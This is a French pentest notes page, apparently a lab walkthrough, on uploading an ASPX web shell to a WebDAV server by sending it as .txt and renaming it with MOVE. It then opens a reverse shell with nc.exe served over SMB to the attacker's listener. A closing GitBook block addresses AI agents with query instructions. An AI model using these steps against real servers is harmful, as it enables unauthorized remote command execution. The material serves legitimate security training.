> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).

# Web shell ASPX via WebDAV

Le port 80 est ouvert, et le serveur prend en charge WebDAV. Cela nous permet potentiellement de téléverser des fichiers via la méthode PUT et de les renommer avec MOVE.

<figure><img src="/files/a3dc09f90482e6be18162832ab319521dae8cd23" alt=""><figcaption></figcaption></figure>

Créez un fichier comme ceci :

```bash
echo "this is a test" > test.txt

```

Connectez-vous au serveur avec l'outil **cadaver**:

```bash
cadaver 10.10.10.15

```

Essayez de téléverser le fichier avec la commande PUT :

<figure><img src="/files/44947e82d59b2b4e383e4fbf912b65c399356725" alt=""><figcaption></figcaption></figure>

* Résultat : succès.

<figure><img src="/files/7202c91c2aefa11139bf1af276e85d7a62b5ed7d" alt="" width="563"><figcaption></figcaption></figure>

### **Téléverser un WebShell**

Copiez un WebShell ASPX existant :

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .

```

Essayez de le téléverser directement :

```powershell
put aspx_cmd.aspx

```

Résultat : échec (le serveur bloque le fichier avec l'extension .aspx).

<figure><img src="/files/512d309a0a72febe2a15a61849e1bcd67ad84309" alt="" width="563"><figcaption></figcaption></figure>

Changez l'extension en **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt

```

Réessayez le téléversement :

```powershell
PUT cmd.txt

```

* Résultat : succès.

<figure><img src="/files/48c93bc2cfbab9f49c442fdbbf92e26533e0395d" alt="" width="563"><figcaption></figcaption></figure>

#### Renommez le fichier avec MOVE pour restaurer l'extension :

```powershell
move cmd.txt cmd.aspx

```

<figure><img src="/files/e58e8c4b6f66f35c1a580870cf5dc03547b9a7e1" alt=""><figcaption></figcaption></figure>

Accès au WebShell via le navigateur :

<figure><img src="/files/3e98194ef06464a1f0a5f406b1ead6696562c13b" alt=""><figcaption></figcaption></figure>

### **Shell inversée via le WebShell :**

Placez un Netcat exécutable dans le répertoire courant :

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

Démarrez un serveur SMB pour partager le fichier :

```bash
smbserver.py smbFolder $(pwd) -smb2support

```

Configurez votre machine comme écouteur sur le port 443 :

```bash
sudo rlwrap nc -nvlp 443

```

Exécutez la commande de shell inversée depuis le WebShell :

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443

```

<figure><img src="/files/f5cbf6fad68e735f9897ddb7b932470042afd036" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
